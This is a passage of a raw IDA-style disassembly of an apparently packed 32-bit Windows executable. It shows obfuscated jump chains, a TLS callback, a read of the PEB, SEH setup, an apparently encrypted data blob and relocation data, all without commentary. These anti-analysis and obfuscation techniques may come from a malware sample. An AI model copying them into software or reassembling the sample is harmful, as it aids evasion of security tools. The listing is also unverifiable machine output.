; START OF FUNCTION CHUNK FOR sub_423F55
loc_42C200: ; CODE XREF: sub_423F55+D17j
jmp loc_42B42F
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
db 57h, 6Ch, 50h
dword_42C208 dd 6E69h ; DATA XREF: _94j21ax3:00422A4Cw
; _94j21ax3:004230AFw ...
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42C20C: ; CODE XREF: sub_423324-F4Ej
jmp loc_425099
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
db 1Dh, 0A6h, 0D0h
dword_42C214 dd 7E7751A7h ; DATA XREF: sub_423A33-26DDw
; sub_422BD8+Bw ...
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BE84
loc_42C218: ; CODE XREF: sub_42BE84+Dj
jmp sub_428B74
; END OF FUNCTION CHUNK FOR sub_42BE84
; ---------------------------------------------------------------------------
db 5Eh, 26h, 0B8h
dword_42C220 dd 950DDFDFh ; DATA XREF: _94j21ax3:loc_421C14w
; sub_42982D+4r
dword_42C224 dd 9E738DDFh ; DATA XREF: sub_4220B7+4r
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_42C228: ; CODE XREF: sub_42C1AE-4628j
jmp loc_4275DB
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
db 93h, 6, 12h
dword_42C230 dd 9C9077E7h ; DATA XREF: sub_42265F-4FDr
; _94j21ax3:004270DAr
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294E3
loc_42C234: ; CODE XREF: sub_4294E3+12j
jmp nullsub_181
; END OF FUNCTION CHUNK FOR sub_4294E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425934
loc_42C239: ; CODE XREF: sub_425934:loc_427926j
jz loc_42643C
jmp loc_42A2E1
; END OF FUNCTION CHUNK FOR sub_425934
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_42C244: ; CODE XREF: sub_423F55+2BFEj
or edi, 0C579D688h
jmp loc_42BC7E
; END OF FUNCTION CHUNK FOR sub_423F55
; =============== S U B R O U T I N E =======================================
sub_42C24F proc near ; CODE XREF: sub_421689:loc_427ED6p
; sub_42A268-78j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004214C7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00421EE4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00422B01 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423F3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424002 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00424B3A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042518F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004258A3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426F78 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004280EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428210 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042C53C SIZE 0000000B BYTES
mov [esp+0], edi
pop edi
jz loc_424B3A
cmp byte ptr [ebp-5], 0
jmp loc_4280EB
sub_42C24F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42C262: ; CODE XREF: _94j21ax3:loc_4236EEj
jnz loc_4236D1
jmp loc_426FD0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_42C26D: ; CODE XREF: sub_4272E9+3B5j
and ebx, 0B76908A1h
mov esi, [ebp+0]
ja loc_422BE9
loc_42C27C: ; CODE XREF: sub_4272E9:loc_422522j
call sub_42C057
test al, al
jz loc_4251C3
jmp loc_423A72
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427D65
loc_42C28E: ; CODE XREF: sub_427D65+9j
cmp edi, 80000001h
jbe loc_423047
jmp loc_4247C6
; END OF FUNCTION CHUNK FOR sub_427D65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_42C29F: ; CODE XREF: sub_421D33:loc_428547j
pop eax
sub eax, 0ECFBA6A3h
and eax, 52B86102h
loc_42C2AC: ; CODE XREF: sub_422898:loc_421F6Fj
add eax, 0EE21B9B8h
mov eax, [eax]
jmp loc_422495
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
loc_42C2B9: ; CODE XREF: _94j21ax3:loc_422E0Ej
add esi, ebp
add esi, 0E07F6B9Eh
mov [esi], edx
call sub_425301
; START OF FUNCTION CHUNK FOR sub_42982D
loc_42C2C8: ; CODE XREF: sub_42982D+Cj
jmp loc_424B49
; END OF FUNCTION CHUNK FOR sub_42982D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42131B
loc_42C2CD: ; CODE XREF: sub_42131B+10j
push 7AA4A00Fh
mov [esp+2D0h+var_2D0], eax
call sub_429DCC
mov eax, [ebp+var_C]
jmp loc_42B14D
; END OF FUNCTION CHUNK FOR sub_42131B
; =============== S U B R O U T I N E =======================================
sub_42C2E2 proc near ; CODE XREF: _94j21ax3:00423CBAj
; sub_421D33+680Fp
xchg eax, [esp+0]
pop eax
mov [esi], eax
pop esi
loc_42C2E9: ; CODE XREF: _94j21ax3:00422BD2j
cmp dword ptr [ebp-8], 0
jz loc_421D73
jmp loc_42653D
sub_42C2E2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_42C2F8: ; CODE XREF: sub_423614+6903j
movzx edx, byte ptr [edx]
or eax, edx
; END OF FUNCTION CHUNK FOR sub_423614
; START OF FUNCTION CHUNK FOR sub_423324
loc_42C2FD: ; CODE XREF: sub_423324:loc_421CFEj
mov [ebp-1Ch], eax
inc dword ptr [ebp-20h]
mov eax, [ebp-1Ch]
loc_42C306: ; CODE XREF: sub_429EF8+7j
and eax, 0FFh
mov eax, ds:dword_425FDC[eax*4]
mov [ebp-8], eax
jmp loc_429088
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424EB4
loc_42C31A: ; CODE XREF: sub_424EB4+4j
push offset sub_427D53
jmp nullsub_188
; END OF FUNCTION CHUNK FOR sub_424EB4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42266A
loc_42C324: ; CODE XREF: sub_42266A:loc_427C40j
push eax
push 0
call sub_42651A
call sub_42266A
loc_42C331: ; CODE XREF: _94j21ax3:00427608j
jle loc_422B6D
add ebp, eax
jmp sub_4240C3
; END OF FUNCTION CHUNK FOR sub_42266A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427AEB
loc_42C33E: ; CODE XREF: sub_427AEB:loc_422DC2j
call sub_4232F5
loc_42C343: ; CODE XREF: sub_42AEB2+D99j
jmp nullsub_190
; END OF FUNCTION CHUNK FOR sub_427AEB
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429974
loc_42C349: ; CODE XREF: sub_429974-7982j
jmp loc_423C99
; END OF FUNCTION CHUNK FOR sub_429974
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_42C34E: ; CODE XREF: sub_4272E9+2CF5j
push esi
mov [esp+4+var_4], ebp
mov ebp, esp
add esp, 0FFFFF7ECh
mov eax, offset byte_4256B4
jmp loc_425B39
; END OF FUNCTION CHUNK FOR sub_4272E9
; =============== S U B R O U T I N E =======================================
sub_42C364 proc near ; CODE XREF: sub_42C0BC-A677p
; _94j21ax3:0042B597j
mov [esp+0], edx
pop edx
jmp loc_4271A6
sub_42C364 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_42C36D: ; CODE XREF: sub_42C0BC-7B84j
; _94j21ax3:loc_429365j ...
js loc_4242F9
mov eax, large fs:30h
push edi
push 0A18DDE55h
jmp loc_427548
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
loc_42C385: ; CODE XREF: _94j21ax3:00422A1Bj
cdq
cmp ebx, eax
jmp loc_42C5FB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_42C38E: ; CODE XREF: _94j21ax3:00426AF8j
jmp loc_42737D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422436
loc_42C393: ; CODE XREF: sub_422436:loc_428175j
jz loc_429C69
jmp loc_4295E3
; END OF FUNCTION CHUNK FOR sub_422436
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_42C39E: ; CODE XREF: sub_423FCD+6386j
add eax, 8FF0D88Fh
add eax, ebp
add eax, 0DD1AEB83h
push eax
jmp loc_4286E5
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
loc_42C3B2: ; CODE XREF: _94j21ax3:loc_42B2DCj
mov ds:dword_429F88, eax
jmp locret_4295A5
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C3BD proc near ; CODE XREF: sub_42541Ej
; FUNCTION CHUNK AT 0042A299 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042B303 SIZE 0000000B BYTES
push ebp
mov ebp, esp
push ecx
call sub_424DE8
loc_42C3C6: ; CODE XREF: sub_422764+5237j
jmp loc_42A299
sub_42C3BD endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_189. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4251A2
loc_42C3CC: ; CODE XREF: sub_4251A2+6889j
jmp nullsub_192
; END OF FUNCTION CHUNK FOR sub_4251A2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4281A5
loc_42C3D1: ; CODE XREF: sub_4281A5-5C28j
jmp loc_421492
; END OF FUNCTION CHUNK FOR sub_4281A5
; ---------------------------------------------------------------------------
loc_42C3D6: ; CODE XREF: _94j21ax3:0042745Aj
pop edx
rol edx, 7
or edx, 0BC29CBB5h
xor edx, 3411895Eh
add edx, ebp
jmp loc_4275D0
; ---------------------------------------------------------------------------
rol edi, 1Bh
jmp loc_426C2D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4232F5
loc_42C3F5: ; CODE XREF: sub_4232F5:loc_428B59j
jnz loc_42AE45
jmp loc_42514A
; ---------------------------------------------------------------------------
loc_42C400: ; CODE XREF: sub_4232F5:loc_42C1A3j
call sub_42773C
; END OF FUNCTION CHUNK FOR sub_4232F5
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_42C405: ; CODE XREF: sub_42A7A6+11F5j
jmp nullsub_193
; END OF FUNCTION CHUNK FOR sub_42A7A6
; =============== S U B R O U T I N E =======================================
sub_42C40A proc near ; DATA XREF: _94j21ax3:0042127Eo
var_4 = dword ptr -4
pushf
mov [esp+4+var_4], eax
call sub_423F43
retn
sub_42C40A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B079
loc_42C414: ; CODE XREF: sub_42B079-4B0j
jmp loc_4235C8
; END OF FUNCTION CHUNK FOR sub_42B079
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public TlsCallback_0
TlsCallback_0 proc near ; CODE XREF: sub_42166E+11j
; DATA XREF: _94j21ax3:TlsCallbackso
; FUNCTION CHUNK AT 0042352F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00423F94 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00424FCC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426F3C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429689 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A1D6 SIZE 00000008 BYTES
push ebp
mov ebp, esp
push ecx
call sub_42A7A6
loc_42C422: ; CODE XREF: sub_42C1AE-45Cj
sbb eax, edx
loc_42C424: ; CODE XREF: sub_42C1AE:loc_424E99j
push edx
push 82FC9A43h
pop edx
add edx, 0E675DF00h
cmp ebx, edx
pop edx
jmp loc_429689
TlsCallback_0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
and edx, 0E238D46Bh
jmp sub_429EDB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_42C444: ; CODE XREF: sub_42484C-1208j
; DATA XREF: sub_423F43:loc_4235C8o
mov eax, [ebp-4]
call sub_4252BD
test al, al
jnz loc_4269B6
; END OF FUNCTION CHUNK FOR sub_42484C
; START OF FUNCTION CHUNK FOR sub_426C7A
loc_42C454: ; CODE XREF: sub_423F55-1D8Bj
; sub_426C7A-2B58j ...
pop ecx
pop ecx
call sub_4269A6
sbb ecx, 0F78A7FA9h
jmp sub_424CF2
; END OF FUNCTION CHUNK FOR sub_426C7A
; =============== S U B R O U T I N E =======================================
sub_42C466 proc near ; CODE XREF: _94j21ax3:00423FC8j
; sub_42AA78-5FF6p
mov [esp+0], eax
pop eax
pop edx
pop ecx
pop ebx
retn
sub_42C466 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_42C46E: ; CODE XREF: sub_4272E9-46CAj
jmp nullsub_194
; END OF FUNCTION CHUNK FOR sub_4272E9
; =============== S U B R O U T I N E =======================================
sub_42C473 proc near ; CODE XREF: sub_42AA78+6p
; FUNCTION CHUNK AT 004273D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AE93 SIZE 0000000F BYTES
push large dword ptr fs:0
mov large fs:0, esp
jmp loc_4273D7
sub_42C473 endp
; ---------------------------------------------------------------------------
dw 870Dh
dword_42C488 dd 0 ; DATA XREF: sub_4258EB+6w
; sub_42BFF0-4CC4r ...
dword_42C48C dd 77E79F93h ; DATA XREF: sub_4258EB:loc_422D2Fr
; sub_4258EB-2BB3r ...
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42966A
loc_42C490: ; CODE XREF: sub_42966A-2B8Fj
jmp nullsub_196
; END OF FUNCTION CHUNK FOR sub_42966A
; ---------------------------------------------------------------------------
db 60h, 0EBh, 2Dh
dword_42C498 dd 0 ; DATA XREF: sub_424BAA+8w
; sub_4284C0+6r ...
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42ABCE
loc_42C49C: ; CODE XREF: sub_42ABCE-10BAj
jmp loc_4270CF
; END OF FUNCTION CHUNK FOR sub_42ABCE
; ---------------------------------------------------------------------------
db 0C5h, 52h, 0E3h
dword_42C4A4 dd 77E805D8h ; DATA XREF: sub_42780F-4276w
; sub_42780F+Ar ...
dword_42C4A8 dd 628EFCE3h ; DATA XREF: sub_4250F7-3998w
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424CF2
loc_42C4AC: ; CODE XREF: sub_424CF2-1CA5j
jmp loc_4295DE
; END OF FUNCTION CHUNK FOR sub_424CF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_42C4B1: ; CODE XREF: sub_42B9CF-A187j
jmp loc_427076
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
dw 0C73Eh
dword_42C4B8 dd 71B9977Eh ; DATA XREF: _94j21ax3:00426AC6w
; sub_429382+7r
; ---------------------------------------------------------------------------
loc_42C4BC: ; CODE XREF: _94j21ax3:004225E7j
cmp edi, 0FCD1987Bh
jmp loc_4284B0
; ---------------------------------------------------------------------------
loc_42C4C7: ; CODE XREF: _94j21ax3:004219F8j
xor edx, edx
push edx
push eax
jmp loc_423279
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422F0A
loc_42C4D0: ; CODE XREF: sub_422F0A+4j
add eax, [esp-4+arg_0]
adc edx, [esp-4+arg_4]
add esp, 8
mov eax, [eax]
add eax, [ebp-4]
loc_42C4DF: ; CODE XREF: _94j21ax3:004226E9j
jmp loc_42B90A
; END OF FUNCTION CHUNK FOR sub_422F0A
; ---------------------------------------------------------------------------
mov edx, 64EFA9EDh
push ebx
push 0CDD5D8CAh
pop ebx
add ebx, 70226D86h
sub ebx, 7C5794CEh
test ebx, 800000h
jmp loc_424E59
; ---------------------------------------------------------------------------
locret_42C507: ; CODE XREF: _94j21ax3:004284BBj
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_42C508: ; CODE XREF: sub_423614:loc_423465j
cmp dword ptr [ebp-4], 100h
jnz loc_422A56
jmp loc_4256D0
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4216D0
loc_42C51A: ; CODE XREF: sub_4216D0:loc_429118j
add edx, esp
rol edx, 5
mov [ebp-4], edx
cmp dword ptr [ebp-8], 0
jbe loc_42137A
jmp loc_42366E
; END OF FUNCTION CHUNK FOR sub_4216D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42C531: ; CODE XREF: sub_42284F:loc_42C03Aj
jz loc_423028
jmp loc_426480
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C24F
loc_42C53C: ; CODE XREF: sub_42C24F-AD82j
jz loc_421EEB
jmp loc_423F3E
; END OF FUNCTION CHUNK FOR sub_42C24F
; ---------------------------------------------------------------------------
loc_42C547: ; DATA XREF: sub_42BB8A:loc_42BBA1o
add dword ptr [ebp-8], 2
jmp loc_4275CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_42C550: ; CODE XREF: sub_421D33+4903j
; sub_421D33+97E8j
test byte ptr [ebp-8], 20h
jz loc_42B8F2
push ebp
call sub_42BDF4
loc_42C560: ; CODE XREF: _94j21ax3:00429E36j
jb loc_421874
loc_42C566: ; CODE XREF: _94j21ax3:loc_429E1Ej
and eax, 6AD997CCh
add eax, 0B7B0EF3Fh
xchg eax, [esp+28h+var_28]
jmp loc_4239C4
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
xchg ebp, ecx
adc edx, 7C5A8FF9h
jmp sub_42B1BB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_42C588: ; CODE XREF: sub_42C0BC-4D23j
jmp loc_4212F5
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B3E4
loc_42C58D: ; CODE XREF: sub_42B3E4-4D7j
or eax, 10h
mov edx, [ebp+8]
mov [edx-8], eax
jmp loc_42AED9
; ---------------------------------------------------------------------------
loc_42C59B: ; CODE XREF: sub_42B3E4-4E6j
cmp dword ptr [ebp-10h], 2
jnz loc_42AED9
jmp loc_425965
; END OF FUNCTION CHUNK FOR sub_42B3E4
; ---------------------------------------------------------------------------
sbb ecx, 0FE728E7h
jmp loc_426B63
; ---------------------------------------------------------------------------
adc edx, 0A281D5F4h
jmp sub_426626
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4266F6
loc_42C5C1: ; CODE XREF: sub_4266F6+1C4Fj
jmp loc_4232C5
; END OF FUNCTION CHUNK FOR sub_4266F6
; ---------------------------------------------------------------------------
xchg ecx, ebx
jmp sub_421C84
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C5CD proc near ; CODE XREF: sub_42541E:loc_42BED7j
; FUNCTION CHUNK AT 004270E5 SIZE 00000005 BYTES
push ebp
mov ebp, esp
push ecx
mov esp, ebp
push offset loc_423BD9
jmp loc_4270E5
sub_42C5CD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_42C5DD: ; CODE XREF: sub_42A0CC:loc_4246A4j
jnz loc_42346B
jmp loc_4293E0
; END OF FUNCTION CHUNK FOR sub_42A0CC
; =============== S U B R O U T I N E =======================================
sub_42C5E8 proc near ; CODE XREF: _94j21ax3:0042A046j
; sub_423324:loc_42BAA2p
; FUNCTION CHUNK AT 00421180 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00423CFD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BFB8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C08D SIZE 00000016 BYTES
mov [esp+0], esi
pop esi
add eax, ebp
add eax, 34E827B9h
mov eax, [eax]
jmp loc_421180
sub_42C5E8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42C5FB: ; CODE XREF: _94j21ax3:0042C388j
jnp loc_422942
rol eax, 18h
and ecx, ebx
; START OF FUNCTION CHUNK FOR sub_423081
loc_42C606: ; CODE XREF: sub_423081:loc_422A0Aj
rol eax, 3
xor eax, 0D467520Ah
add eax, ebp
push edx
jmp loc_429574
; END OF FUNCTION CHUNK FOR sub_423081
; ---------------------------------------------------------------------------
TlsDirectory db 0
db 3 dup(0)
TlsEnd_ptr db 0
db 3 dup(0)
TlsIndex_ptr dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
TlsIndex db 0 ; DATA XREF: _94j21ax3:TlsIndex_ptro
db 3 dup(0)
TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: _94j21ax3:TlsCallbacks_ptro
dd 0
db 0ACh
dd 7C4BB6F0h, 971A7573h, 53848C4Ah, 85464E04h, 0ADE228E1h
dd 2FEE96A6h, 1714F418h, 0C4FF7404h, 0AA78EEA6h, 9C1FFC4h
dd 9209DE39h, 6D8FD33Bh, 11B403D4h, 0E1701BBEh, 57C098A0h
dd 0C72AECEFh, 1D5FB148h, 2313C016h, 465EE6B8h, 0F8D9ED8Dh
dd 8A33Dh, 0B4A1B30Ah, 0DC91A639h, 0D7A46D4h, 6D977900h
dd 9EC9A915h, 1A24C12Eh, 15ACACA6h, 41710852h, 0DAB455AEh
dd 0F507B037h, 47AD0C11h, 70B89F2Ah, 8A3DC0B8h, 75CEB7B5h
dd 4808DDFAh, 0D33578E8h, 0E387D8DDh, 0F0CFA5A7h, 82E2BF1Dh
dd 35DE108Fh, 0B50637B0h, 5112A27Ah, 0A3F10F90h, 0C15AA97Eh
dd 0C351EA24h, 927CE50h, 22FF7254h, 0C7C7B86Ah, 54F056B1h
dd 0D8E88E93h, 3E4D2CD1h, 7821ED58h, 6195EEEBh, 6763D8E7h
dd 158F63CBh, 45F342F1h, 0BDB1D7CCh, 0EABEA2F1h, 927C8D8Dh
dd 5C59CEFAh, 0B50F1487h, 3E19F6F3h, 4E7369EDh, 23D5E2F6h
dd 16E3A522h, 0AB1DE34Ch, 0F8FFDEECh, 372492Ch, 0F2452E88h
dd 67CCE736h, 0C3F62655h, 35849A32h, 0F205EDE2h, 5D2B9CCDh
dd 60CCC1A1h, 0BA45F704h, 0E5B8BD91h, 0E662E30Fh, 0BEE3C4CEh
dd 53780C05h, 1E45FC8Ah, 0A03B9EA6h, 0FDCE244h, 673E0FF1h
dd 0DB2B4F4h, 16EC38ADh, 90555886h, 30028472h, 2EBCB004h
dd 4D6915FDh, 0AAA1B0FDh, 84851D47h, 816A7D8Fh, 5EF8FDA5h
dd 5A872155h, 0C49CC89Ch, 1F7EA5DDh, 61BC3C2Ah, 0B6C8A656h
dd 0C02DA83h, 0A99DC837h, 3608E4ECh, 0CC0A60B4h, 91796391h
dd 4C49052Bh, 0FEF7B3A0h, 0B4099179h, 8A10A443h, 5C9CE787h
dd 60C2893Eh, 0C6F4BA7Ah, 0B032DED6h, 200h dup(0)
_94j21ax3 ends
; Section 6. (virtual address 0002D000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 0002D000
; Flags 40000040: Data Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
d7bjfs2n segment para public 'DATA' use32
assume cs:d7bjfs2n
;org 42D000h
dd 21000h, 68h, 30BE30A5h, 311D30CEh, 32183207h, 327F3267h
dd 32A6329Bh, 33113304h, 33803358h, 340933D2h, 351D346Ah
dd 35BE354Ah, 36B3365Bh, 36EC36BEh, 3761370Bh, 37CF376Dh
dd 38793850h, 39533902h, 3AAB395Dh, 3B2A3B15h, 3BE33B6Dh
dd 3D0A3C16h, 3E3A3DA6h, 3F1D3EB4h, 3F593F47h, 3FE6h, 22000h
dd 6Ch, 3043300Ah, 30BD309Ah, 31643106h, 31FF317Ch, 3389331Dh
dd 342D33A4h, 350E34E1h, 35B93540h, 3687367Bh, 36DD36BDh
dd 37E8372Bh, 393838F1h, 3A4D397Ch, 3AC83A72h, 3B1D3AD7h
dd 3BAC3B75h, 3BC33BBBh, 3C113BE5h, 3C2E3C1Bh, 3CCA3C54h
dd 3D303D08h, 3D4F3D3Ah, 3DB83D88h, 3F473EF4h, 3F97h, 23000h
dd 74h, 30B03060h, 313F310Bh, 31D8319Dh, 3253321Eh, 329C326Fh
dd 3403339Fh, 34943472h, 350E34FCh, 359A357Ch, 35E135C9h
dd 365335FEh, 36A43666h, 36E436BAh, 370E3703h, 379C374Bh
dd 393D3805h, 39E83951h, 3ABE3A35h, 3AF43AE9h, 3B393B0Eh
dd 3BDC3BC3h, 3CA23C88h, 3D9E3D16h, 3E253DADh, 3E853E6Bh
dd 3FBA3EA9h, 3FF9h, 24000h, 5Ch, 30D03038h, 319C30FCh
dd 331631CCh, 33893384h, 33A8339Ah, 346C342Ah, 34CA347Fh
dd 350634D7h, 3555352Bh, 35B43568h, 36563640h, 36FF367Bh
dd 376C3718h, 391E38D2h, 3A653A0Fh, 3BB43B86h, 3C073BC4h
dd 3D833C15h, 3DDF3DB6h, 3F7A3F46h, 3FFD3FBFh, 25000h
dd 48h, 30D6304Eh, 311030FDh, 3249319Ah, 32D432CFh, 338C32EDh
dd 355D33EBh, 35AA3589h, 363935C5h, 3763375Ah, 37A2377Bh
dd 383337FCh, 391038F2h, 3A653966h, 3AC63A79h, 3AF13ADEh
dd 3BA33B5Ch, 26000h, 6Ch, 34143404h, 34563421h, 34C934B6h
dd 34F834D3h, 35533521h, 360835F9h, 365D3644h, 36A63677h
dd 37EA373Ah, 3866381Eh, 392838A2h, 3A06394Ch, 3AC83A3Ah
dd 3B3D3B10h, 3B8E3B7Ch, 3C343BA4h, 3C6F3C6Ah, 3CAA3C86h
dd 3D173CEBh, 3D863D58h, 3DE93DD7h, 3E413E04h, 3EEE3EAAh
dd 3F8D3F00h, 3FEDh, 27000h, 94h, 30183009h, 308D307Bh
dd 30D030A2h, 313530DCh, 3186315Ch, 31C431ACh, 32573221h
dd 32933286h, 330F32A0h, 332D331Dh, 333B3334h, 34AD3356h
dd 35233516h, 356C3543h, 35FD35ADh, 36823641h, 36D036C1h
dd 376A36EFh, 3792377Eh, 37F037CCh, 381B37FEh, 387A385Eh
dd 38A4388Bh, 3A1F39F6h, 3A943A36h, 3B5C3AC4h, 3BF73BD8h
dd 3C483C0Ah, 3D193CB8h, 3D5C3D43h, 3E2E3D84h, 3F133F0Eh
dd 3F693F28h, 3FE83FB8h, 3FFFh, 28000h, 84h, 30E130AFh
dd 31863131h, 32C231D5h, 3332331Ch, 340A3387h, 3469340Fh
dd 34A734A0h, 34C834B7h, 356E34D6h, 3594357Fh, 35DD35B1h
dd 36B33686h, 36F136BDh, 37363724h, 375E374Dh, 37CF37C5h
dd 382537F2h, 38583849h, 38CF38A1h, 390738E5h, 3998391Bh
dd 3A2939EBh, 3B073AAAh, 3B603B0Fh, 3CB33BE7h, 3CF03CCDh
dd 3DBA3D17h, 3DE13DD3h, 3E1D3E0Eh, 3E3F3E35h, 3F92h, 29000h
dd 7Ch, 3060303Bh, 30D630C8h, 313F3131h, 318E3145h, 31B3319Bh
dd 33A2338Bh, 33B433AEh, 34A73438h, 34EC34DAh, 355C34F1h
dd 35B1359Eh, 362035D3h, 374B36F9h, 379F379Ah, 37B037ABh
dd 389F3833h, 38CC38B6h, 391938FEh, 399A397Fh, 3A2139D0h
dd 3ADE3ACDh, 3B513B3Eh, 3CFA3BB8h, 3DA03D0Ah, 3E8B3DF0h
dd 3F1E3ED2h, 3FCC3F48h, 3FEB3FD7h, 3FFDh, 2A000h, 70h
dd 30B03089h, 32093119h, 33603240h, 343733F5h, 34A8344Ah
dd 34E934D3h, 360A35C4h, 364A3627h, 37883688h, 380337E1h
dd 3845380Fh, 388C387Ch, 38F038DBh, 39B93927h, 3A6F3A45h
dd 3AE23AC7h, 3B3B3B07h, 3CC63B8Ch, 3CEE3CCBh, 3D103D05h
dd 3D973D7Dh, 3E2E3DDEh, 3E7D3E51h, 3EBF3E99h, 3FA03F47h
dd 3FF53FB3h, 2B000h, 80h, 305A3021h, 30E83094h, 313F310Ch
dd 315E314Fh, 319C3186h, 31DB31C4h, 323D3218h, 32EF32CDh
dd 3397338Dh, 33AC33A1h, 353233FCh, 360A359Dh, 36533620h
dd 36A8369Dh, 378A36B1h, 384D37C7h, 38923864h, 3910389Ah
dd 39973961h, 3A673A27h, 3B2A3B05h, 3BBF3BA2h, 3C2D3BF0h
dd 3CCB3C47h, 3D373CD7h, 3DE53D59h, 3E6B3E4Dh, 3EA33E8Ah
dd 3F003ECDh, 3FFC3F5Ah, 2C000h, 24h, 305F3046h, 32AE30D6h
